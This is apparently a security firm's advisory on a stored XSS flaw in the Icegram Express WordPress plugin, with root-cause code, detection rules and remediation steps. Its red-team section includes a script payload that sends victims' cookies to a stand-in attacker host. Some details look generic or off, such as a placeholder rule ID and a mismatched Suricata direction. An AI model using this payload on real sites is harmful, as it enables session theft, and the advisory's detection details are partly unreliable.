CVE-2025-0671

Executive Summary

CVE-2025-0671 is a Stored Cross-Site Scripting (XSS) vulnerability in the Icegram Express WordPress plugin (versions before 5.7.50). This flaw allows high-privilege users (e.g., administrators) to inject arbitrary web scripts into Template settings, which are then stored and executed when other users view the affected pages. The vulnerability is particularly dangerous in multisite WordPress setups where the unfiltered_html capability is disabled, as it bypasses standard input sanitization. While the CVSS score is 0.0 (likely unassigned), the risk is real for sites with untrusted admin users or compromised accounts.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The Icegram Express plugin is distributed via the official WordPress plugin repository. Users should verify they are running version 5.7.50 or later. No known supply chain compromise has been reported, but the plugin’s update mechanism should be trusted.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): High (H) – Requires admin-level access.
• User Interaction (UI): Required (R) – Victim must view the malicious template.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Script injection possible.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium (due to high privilege requirement, but severe in multisite contexts).

Deep Dive & Mechanics

The Icegram Express plugin allows administrators to create and manage email templates. The vulnerability lies in the Template settings fields, which are not properly sanitized or escaped before being stored and rendered. An attacker with admin privileges can inject malicious JavaScript into these fields. When another user (including lower-privileged users) views the template list or preview, the script executes in their browser context.

Root Cause: The plugin uses echo or similar output functions without applying WordPress’s esc_html() or wp_kses() functions on the template settings data. This allows HTML/JavaScript to be stored and later rendered unsafely.

Attack Flow:

1. Attacker gains admin access (or is a malicious admin).
2. Navigates to Icegram Express → Templates → Edit/Create.
3. Injects <script>alert('XSS')</script> into a template setting field.
4. Saves the template.
5. Victim (e.g., another admin or subscriber) views the template list or preview.
6. Script executes in victim’s browser.

Vulnerable vs. Patched Code

Vulnerable Code (before 5.7.50):

// In template settings display
echo $template_settings['header_text']; // No sanitization

Patched Code (5.7.50+):

// Properly escaped output
echo esc_html( $template_settings['header_text'] );

The patch adds esc_html() to all template setting outputs, preventing HTML/JavaScript injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Admin credentials to a WordPress site with Icegram Express < 5.7.50.
• Access to the plugin’s template settings.

Steps:

1. Log in as admin.
2. Go to Icegram Express → Templates → Add New.
3. In the Header Text field, enter:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the template.
5. Share the template preview link with a victim or wait for another admin to view the template list.

Expected Outcome: The victim’s browser executes the script, exfiltrating cookies or performing other actions.

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual template creation/modification by admin users.
• Look for <script> tags or event handlers in template settings via database queries.
• Use WAF rules to block XSS payloads in POST requests to /wp-admin/admin-ajax.php or template endpoints.

Mitigation:

• Immediately upgrade to version 5.7.50.
• Restrict admin access to trusted users only.
• Enable Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/icegram-express/ – Check for modified template files.
• Database: wp_icegram_express_templates table – Look for entries containing <script> or onerror attributes.
• Logs: Apache/Nginx access logs showing POST requests to /wp-admin/admin-ajax.php with action=icegram_express_save_template.
• Network: Outbound connections to unknown domains from admin browsers.

Detection Engineering

YARA Rule

rule icegram_express_xss_template {
    meta:
        description = "Detects XSS payloads in Icegram Express template settings"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-0671"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*['"][^'"]*['"]/i
    condition:
        $xss_payload or $event_handler
}

Sigma Rule

title: Icegram Express Stored XSS Template Creation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects creation of templates with XSS payloads in Icegram Express
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        event: "icegram_express_save_template"
        body|contains: 
            - "<script"
            - "onerror"
            - "onload"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in templates (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Icegram Express Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=icegram_express_save_template"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade Icegram Express to version 5.7.50 or later.
2. Short-term: Review all existing templates for malicious content. Remove any suspicious entries.
3. Long-term: Implement the principle of least privilege for admin accounts. Use a Web Application Firewall (WAF) with XSS rules.
4. Monitoring: Enable logging for all template modifications and review regularly.

Valters IT – Securing your digital frontier.